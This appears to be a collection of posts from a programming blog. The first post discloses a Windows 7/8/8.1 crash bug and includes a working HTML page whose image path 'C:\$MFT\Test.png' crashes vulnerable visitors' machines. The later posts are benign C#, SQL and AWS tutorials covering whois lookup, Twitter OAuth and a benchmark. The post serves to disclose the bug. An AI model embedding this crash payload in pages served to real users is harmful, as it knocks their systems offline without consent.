$MFT bug in windows 7 & others

A new bug found in older versions of windows like 7, 8 & 8.1, will allow  malicious websites to crash the visitors computer by just including a single html line in their website. Since Microsoft has officially ended support for these operating systems, it is hard to tell when/if a patch will be released. It is good practise to update/upgrade your PC to the latest software to avoid issues like this.

If you want to experience this bug, you can save the contents of the following gist to a html file and open it on a vulnerable system, please be aware that by doing so your system might crash and become unresponsive, during my verification i found the bug to have no impact on the PC after i restart, however I dont guarantee anything, if you are trying this, you are doing at your own risk.

Now to the code

<html>
<head>
<title>
Restart your PC, if you are on windows 7, 8, 8.1
</title>
</head>
<body>
<a href='https://coderbuddy.wordpress.com/2017/05/26/mft-bug-in-windows-7-others/'>Click to read more about this</a>
<img src='C:\$MFT\Test.png' />
</body>
</html>

I have published this on my mobile, so please forgive my errors.

How to point your root level domain to an AWS Instance

The answer is to use Elastic IP Address, If your instance (the one you want to point your root level domain(naked domain) like example.com to) has existing Elastic IP address, just update your domain’s A record to point to this IP address, if not, then follow the AWS documentation on how to assign an Elastic IP address to your instance and assign an elastic IP to you instance.

What is Root level domain or Naked domain ?

Root level domain or a Naked domain is the domain name with out the www sub domain, that is example.com instead of http://www.example.com, this is usually helpful when a website administrator wants, to give the users flexibility to visit their website without typing the www.

There are many websites that does this, and it can be achieved in AWS, either by pointing the A record directly to the IP address to where the website is hosted, or to a placeholder IP and redirecting all the web request to the www url.

Drawbacks of pointing root level domains to a web application

  • Pointing your domain name to a web application is known to cause issues with SMTP servers and may impact mail delivery for that domain name.
  • Hard coding an IP address to your website address also might not be scalable.

Micro Performance optimisation using If-Else

This post is actually a question I asked on Stackoverflow,

The question is Which performs better if or if-else ?, this might seem to be a silly question for a few because of 2 reasons.

  • If block will have relatively less lines of code, if both the blocks are having the same code, it is apparently a matter of commonsense.
  • And if they are not having the same code then we should not compare them in the first place
public class ConditionalPerformance
{
//If block
public long WithOnlyIf(int myFlag)
{
Stopwatch myTimer = new Stopwatch();
string someString = "";
myTimer.Start();
for (int i = 0; i < 1000000; i++)
{
string height = "80%";
string width = "80%";
if (myFlag == 1)
{
height = "60%";
width = "60%";
}
someString = "Height: " + height + Environment.NewLine + "Width: " + width;
}
myTimer.Stop();
File.WriteAllText("testif.txt", someString);
return myTimer.ElapsedMilliseconds;
}
//If-else block
public long WithIfAndElse(int myFlag)
{
Stopwatch myTimer = new Stopwatch();
string someString = "";
myTimer.Start();
for (int i = 0; i < 1000000; i++)
{
string height;
string width;
if (myFlag == 1)
{
height = "60%";
width = "60%";
}
else
{
height = "80%";
width = "80%";
}
someString = "Height: " + height + Environment.NewLine + "Width: " + width;
}
myTimer.Stop();
File.WriteAllText("testifelse.txt", someString);
return myTimer.ElapsedMilliseconds;
}
}

So Which one actually performs better, well lets look into the  results

When Condition is true, the If Block took 1700 milliseconds to execute the 1000000 iterations, where as the if-else block took only 1688 milliseconds

When the conditions fails, the if scored 1677 Milliseconds which is still a bit late than the If-Else block’s 1664 Milliseconds

So the results  say that If-Else performs better than If and guess according to most of SO posters the If-Else block is more readable too

Sql Query to get domain Name from email column

The following T-SQL Query will retrieve anything that is after the @ symbol, the query can be very useful for retrieving the domain of an email address

SELECT SUBSTRING(T.Email,(CHARINDEX('@',T.Email)+1),LEN(T.Email) - (CHARINDEX('@',T.Email))) as DomainName FROM EmailTable T

Domain name availability search using Whois information in C#

Programmatically searching for domain name availability is easier than I expected, all we have to do is get the Whois information for the domain name that we are looking for, and look for a specific text inside the Whois response.

I have already written a post on how to write a C# class to get whois information, you can go over there if you want more information on Whois, but if you just want the class name you can find it below and you can also find the complete source code at the links that I have provided.

Domain Search Code

public class DomainSearch
{
/// <summary>
/// Check whether a given domain name is available or not
/// </summary>
/// <param name="domainName">domain name to be verified</param>
/// <returns></returns>
public static bool IsDomainNameAvailable(string domainName)
{
string whoisData = Whois.Lookup(domainName);
string[] ws = whoisData.Split(new string[] { "\r\n", "\n" }, StringSplitOptions.None);
return ws[7].Contains("No match for domain \"" + domainName.ToUpper() + "\".");
}
}
view raw DomainSearch.cs hosted with ❤ by GitHub

Whois Information

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
namespace DomainTools
{
/// <summary>
/// A class to lookup whois information.
/// </summary>
public class Whois
{
private const int Whois_Server_Default_PortNumber = 43;
private const string Domain_Record_Type = "domain";
private const string DotCom_Whois_Server = "whois.verisign-grs.com";
/// <summary>
/// Retrieves whois information
/// </summary>
/// <param name="domainName">The registrar or domain or name server whose whois information to be retrieved</param>
/// <param name="recordType">The type of record i.e a domain, nameserver or a registrar</param>
/// <returns></returns>
public static string Lookup(string domainName)
{
using (TcpClient whoisClient = new TcpClient())
{
whoisClient.Connect(DotCom_Whois_Server, Whois_Server_Default_PortNumber);
string domainQuery = Domain_Record_Type + " " + domainName + "\r\n";
byte[] domainQueryBytes = Encoding.ASCII.GetBytes(domainQuery.ToCharArray());
Stream whoisStream = whoisClient.GetStream();
whoisStream.Write(domainQueryBytes, 0, domainQueryBytes.Length);
StreamReader whoisStreamReader = new StreamReader(whoisClient.GetStream(), Encoding.ASCII);
string streamOutputContent = "";
List<string> whoisData = new List<string>();
while (null != (streamOutputContent = whoisStreamReader.ReadLine()))
{
whoisData.Add(streamOutputContent);
}
whoisClient.Close();
return String.Join(Environment.NewLine, whoisData);
}
}
}
}
view raw Whois.cs hosted with ❤ by GitHub

Usefull links

This post is originally published on coderbuddy.wordpress.com.

C# Code to get Whois information of a domain name

What is Whois ?
Whois is a protocol to fetch the registered users of a internet resource such as a domain name or an IP block, it is documented in RFC 3912.

Whois information can be used to know some basic information about a domian name like the person or the organization it is registered to, registration & expiry date etc.,

One of the popular use case for the whois information is to check the availability of a domain name, you can read more about this in my other post.

The protocol
The whois protocol is a pretty straight forward TCP based query response protocol, each TLD or top level domain(example .com, .net, .org, etc., ) will have a whois server that will listen on the port number 43 for the queries, Once a request is received the server will check its internal database for the domain name details and return the information in the response, the availability of a domain name in a particular TLD can be identified from the whois information returned, the structure of the whois might differ from server to server.

The protocol can be explained simply as follows

Connect to the service host
   TCP: service port 43 decimal
Send a single "command", ending with a new line character(ASCII CR and then ASCII LF)
Receive information in response to the command line.  The
server closes its connections as soon as the output is
finished.

Implementation In C#
To get the Whois information of any domain, we need 3 parameters

  1. Domain name
  2. Record type, which is “domain”
  3. The whois server address for the TLD of the given domain name

A collection of Whois server list is maintained by nirsoft.net which we can use to determine the correct Whois server for a given domain name based on its TLD

Once we get this, all we have to do is connect to the server on port 43 using TCP and send the query as combination of the text “domain” and your domain name, seperated by a single space character ” “, your query should always end with a new line character.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
namespace DomainTools
{
/// <summary>
/// A class to lookup whois information.
/// </summary>
public class Whois
{
private const int Whois_Server_Default_PortNumber = 43;
private const string Domain_Record_Type = "domain";
private const string DotCom_Whois_Server = "whois.verisign-grs.com";
/// <summary>
/// Retrieves whois information
/// </summary>
/// <param name="domainName">The registrar or domain or name server whose whois information to be retrieved</param>
/// <param name="recordType">The type of record i.e a domain, nameserver or a registrar</param>
/// <returns></returns>
public static string Lookup(string domainName)
{
using (TcpClient whoisClient = new TcpClient())
{
whoisClient.Connect(DotCom_Whois_Server, Whois_Server_Default_PortNumber);
string domainQuery = Domain_Record_Type + " " + domainName + "\r\n";
byte[] domainQueryBytes = Encoding.ASCII.GetBytes(domainQuery.ToCharArray());
Stream whoisStream = whoisClient.GetStream();
whoisStream.Write(domainQueryBytes, 0, domainQueryBytes.Length);
StreamReader whoisStreamReader = new StreamReader(whoisClient.GetStream(), Encoding.ASCII);
string streamOutputContent = "";
List<string> whoisData = new List<string>();
while (null != (streamOutputContent = whoisStreamReader.ReadLine()))
{
whoisData.Add(streamOutputContent);
}
whoisClient.Close();
return String.Join(Environment.NewLine, whoisData);
}
}
}
}
view raw Whois.cs hosted with ❤ by GitHub

You can get the whois information by just calling the Whois.Lookup method with your domain name as parameter as shown in the code below.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace DomainTools
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Enter a domain name to get the whois information.");
var domainName = Console.ReadLine();
try
{
var whoisText = Whois.Lookup(domainName);
Console.WriteLine(whoisText);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
Console.WriteLine("Press any key to exit..");
Console.Read();
}
}
}
view raw Program.cs hosted with ❤ by GitHub

Note
Please note that this is implementation works only “.com” TLD domains, you have to change the server name to make it work for other TLD’s, you can find the implementation which works with different TLD’s in the github project I linked below

Usefull links

This post is originally published on coderbuddy.wordpress.com.

C# code to publish, delete, retrieve tweets using oauth

The following C#.net class can be used to update statuses, delete, retweet statuses, obtain information regarding a particular status and any body who retweeted a particular status using status id.

This class implements all the methods that are under the “Tweets Resources” section in Twitter API documentation

using System;
using System.Text;
using System.Collections.Generic;
namespace TwitterAPI
{
public class Tweets
{
#region Class-Level-Declarations
private oAuthTwitter OAuth;
/// <summary>
/// Create, Update, retrieve, delete tweets(status messages) using this class
/// </summary>
/// <param name="_oauth">An authorized and authenticated oAuth token</param>
public Tweets(oAuthTwitter _oauth)
{
this.OAuth = _oauth;
}
public enum ResponseFormat { JSON, XML };
#endregion
#region Show:ID
/// <summary>
/// Returns a single status, specified by the id parameter below. The status's author will be returned inline.
/// This does not require authentication as long as the status is not protected
/// This is a rate limited call
/// </summary>
/// <param name="response_format">The format in which you want twitter to respond</param>
/// <param name="statusid">The numerical ID of the desired status.</param>
/// <param name="optionalparameters">Any other optional parameters.Use an empty string if you dont want to pass any optional parameters</param>
/// <returns>Response string from twitter in user selected format</returns>
public string Show_By_ID(ResponseFormat response_format, string statusid, string optionalparameters)
{
if (string.IsNullOrEmpty(statusid))
throw new ArgumentNullException(statusid, "Status Id cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.GET, "http://api.twitter.com/1/statuses/show/&quot; + statusid + "." + response_format.ToString(), optionalparameters);
}
#endregion
#region Update
/// <summary>
/// Updates the authenticating user's status. A status update with text identical to the authenticating user's current status will be ignored to prevent duplicates.
/// Authentication is required and this call is not rate limited
/// </summary>
/// <param name="tweet_message">The text of your status update, up to 140 characters.</param>
/// <param name="reponse_format">The format in which you want twitter to respond</param>
/// <param name="optionalparameters">Any optional paramters you want to pass</param>
/// <returns>Response string from twitter in user selected format </returns>
public string UpdateStatus(ResponseFormat reponse_format, string tweet_message, string optionalparameters)
{
if (string.IsNullOrEmpty(tweet_message))
throw new ArgumentNullException(tweet_message, "The status message cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.POST, "http://api.twitter.com/1/statuses/update.&quot; + reponse_format.ToString(), "status=" + tweet_message + optionalparameters);
}
#endregion
#region Destroy:Id
/// <summary>
/// Destroys the status specified by the required ID parameter.In other words deletes the specified tweet
/// Requires authentication, and rate limited is false
/// </summary>
/// <param name="response_format">The format in which you want twitter to respond</param>
/// <param name="statusid">The numerical ID of the desired status.</param>
/// <param name="optionalparameters">Any other optional parameters.Use an empty string if you dont want to pass any optional parameters</param>
/// <returns>Response string from twitter in user selected format</returns>
public string Destroy_By_Id(ResponseFormat response_format, string statusid, string optionalparameters)
{
if (string.IsNullOrEmpty(statusid))
throw new ArgumentNullException(statusid, "Status Id cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.POST, "http://api.twitter.com/1/statuses/destroy/&quot; + statusid + "." + response_format.ToString(), optionalparameters);
}
#endregion
#region Retweet:Id
/// <summary>
/// Retweets a tweet. Returns the original tweet with retweet details embedded.
/// Does not require authentication, and rate limited is false
/// </summary>
/// <param name="response_format">The format in which you want twitter to respond</param>
/// <param name="statusid">The numerical ID of the desired status.</param>
/// <param name="optionalparameters">Any other optional parameters.Use an empty string if you dont want to pass any optional parameters</param>
/// <returns>Response string from twitter in user selected format</returns>
public string Retweet_By_Id(ResponseFormat response_format, string statusid, string optionalparameters)
{
if (string.IsNullOrEmpty(statusid))
throw new ArgumentNullException(statusid, "Status Id cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.POST, "http://api.twitter.com/1/statuses/retweet/&quot; + statusid + "." + response_format.ToString(), optionalparameters);
}
#endregion
#region Show Retweets:Id
/// <summary>
///Returns up to 100 of the first retweets of a given tweet.
/// Does not require authentication, and rate limited is false
/// </summary>
/// <param name="response_format">The format in which you want twitter to respond</param>
/// <param name="statusid">The numerical ID of the desired status.</param>
/// <param name="optionalparameters">Any other optional parameters.Use an empty string if you dont want to pass any optional parameters</param>
/// <returns>Response string from twitter in user selected format</returns>
public string Show_Retweets_By_Id(ResponseFormat response_format, string statusid, string optionalparameters)
{
if (string.IsNullOrEmpty(statusid))
throw new ArgumentNullException(statusid, "Status Id cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.GET, "http://api.twitter.com/1/statuses/retweets/&quot; + statusid + "." + response_format.ToString(), optionalparameters);
}
#endregion
#region Show Retweeted By:Id
/// <summary>
/// Show user objects of up to 100 members who retweeted the status.
/// Requires authentication, and rate limited
/// </summary>
/// <param name="response_format">The format in which you want twitter to respond</param>
/// <param name="statusid">The numerical ID of the desired status.</param>
/// <param name="optionalparameters">Any other optional parameters.Use an empty string if you dont want to pass any optional parameters</param>
/// <returns>Response string from twitter in user selected format</returns>
public string Show_Retweetedby_By_Id(ResponseFormat response_format, string statusid, string optionalparameters)
{
if (string.IsNullOrEmpty(statusid))
throw new ArgumentNullException(statusid, "Status Id cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.GET, "http://api.twitter.com/1/statuses/&quot; + statusid + "/retweeted_by." + response_format.ToString(), optionalparameters);
}
#endregion
#region Show Retweeted By:Id
/// <summary>
/// Show user ids of up to 100 users who retweeted the status.
/// Requires authentication, and rate limited
/// </summary>
/// <param name="response_format">The format in which you want twitter to respond</param>
/// <param name="statusid">The numerical ID of the desired status.</param>
/// <param name="optionalparameters">Any other optional parameters.Use an empty string if you dont want to pass any optional parameters</param>
/// <returns>Response string from twitter in user selected format</returns>
public string Show_Retweetedby_By_Id(ResponseFormat response_format, string statusid, string optionalparameters)
{
if (string.IsNullOrEmpty(statusid))
throw new ArgumentNullException(statusid, "Status Id cannot be null");
return OAuth.oAuthWebRequest(oAuthTwitter.Method.GET, "http://api.twitter.com/1/statuses/&quot; + statusid + "/retweeted_by/ids." + response_format.ToString(), optionalparameters);
} #endregion
}
}
view raw Tweets.cs hosted with ❤ by GitHub

This class file uses OAuth implementation by shannon whitley (for more information see my previous post Implementing oauth twitter search in C# and JSON).

You can download the complete source code along with this class from https://sites.google.com/site/coderbuddy/downloads/TwitterAPI.zip?attredirects=0&d=1

Implementing oauth twitter search in C# and JSON

To implement twitter search in C# that uses oauth for authentication, first we need a C# oauth implementation, and a JSON parser for extracting results. For oauth implementation I’m using Twitter oAuth with .NET by Shannon whitley and for parsing the results JSON parser by Procurious and i have to say that this post is just a bit refined implementation of Parsing Twitter JSON data in C# by Jamie’s Digital Blog.

To get started with twitter needs you to authenticate your application before you could use twitter API’s search feature, to authenticate an application needs to initialize a oAuthTwitter object so that it is accessible through out the class like

oAuthTwitter oauth = new oAuthTwitter();
//Replace the vlues with the one's provided by twitter
oauth.ConsumerKey = "Your-twitter-oauth-consumerkey";
oauth.ConsumerSecret = "Your-twitter-oauth-consumersecret";
//Launches your default browser for requesting //authentication
System.Diagnostics.Process.Start(oauth.AuthorizationLinkGet());
//Copy the pin provided after you authenticating and save to a string
//I am assuming you store it in a string twitterpin
//Now the real authentication takes place
//you will exchange the authtoken and pin for Access token
oauth.AccessTokenGet(oauth.OAuthToken, twitterpin);
//remember twitterpin is the object in which we stored the //pin value

Now since we have obtained the authentication we can use this oAuth to search twitter

//Replace the term search_keyword with a term you want to search
//rpp=100 in the url means results per page is 100, and lang=en means
//Language is english
string result = oauth.oAuthWebRequest(oAuthTwitter.Method.GET, "http://search.twitter.com/search.json&quot;, "q=" + search_keyword + "&rpp=100&lang=en");

Now we have the 100 search results stored in a string result in JSON format, we will use JSON parser for extracting the values of each tweet

//The following code is a straight copy from jamiedigi.com
HashTable jsonHash = (Hashtable)JSON.JsonDecode(jsonCode);
ArrayList jsonResults = (ArrayList)jsonHash["results"];
foreach (object objResult in jsonResults)
{
Hashtable jsonResult = (Hashtable)objResult;
System.Diagnostics.Debug.WriteLine("User ID: "
+ jsonResult["from_user_id"].ToString());
System.Diagnostics.Debug.WriteLine("Tweet text: "
+ jsonResult["text"].ToString());
System.Diagnostics.Debug.WriteLine("Tweet date: "
+ jsonResult["created_at"].ToString());
System.Diagnostics.Debug.WriteLine("User name: "
+ jsonResult["from_user"].ToString());
System.Diagnostics.Debug.WriteLine("Language: "
+ jsonResult["iso_language_code"].ToString())
}

You can download the complete source code along with oauth and JSON parser implementations from https://sites.google.com/site/coderbuddy/myReserach.zip?attredirects=0&d=1

You may need to make some modifications to the code like providing the consumer key and consumer secret before working with the code

Simple way to create a barcode generator

I was searching for some source code to create an OCR reader in C#.net and luckily found this amazing article on codeproject, I don’t want to even try rewriting the article as it was such superbly written, If you are looking for an easiest way to create a barcode generator in C#.net, goto http://www.codeproject.com/KB/cpp/wsbarcode.aspx

C# class to check for internet Connection

I found this piece of code on the internet, the author of this code is Tamer Oz.

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
namespace Coderbuddy
{
public class CheckInternetConnection
{
[DllImport("wininet.dll")]
private extern static bool InternetGetConnectedState(out int Description, int ReservedValue);
public bool IsInternetConnectionAvailable()
{
int Desc;
return InternetGetConnectedState(out Desc, 0);
}
}
}